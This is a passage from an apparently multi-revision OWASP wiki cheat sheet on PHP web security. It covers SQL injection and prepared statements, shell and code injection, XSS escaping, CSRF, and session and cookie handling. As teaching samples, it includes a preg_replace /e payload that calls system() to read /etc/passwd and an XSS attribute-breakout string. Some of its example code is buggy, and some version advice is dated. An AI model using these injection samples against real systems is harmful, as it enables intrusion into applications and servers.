run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T19:04:25Z

Luke Plant: Removed confusing advice that assumes you will be using concatenation/interpolation for SQL

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
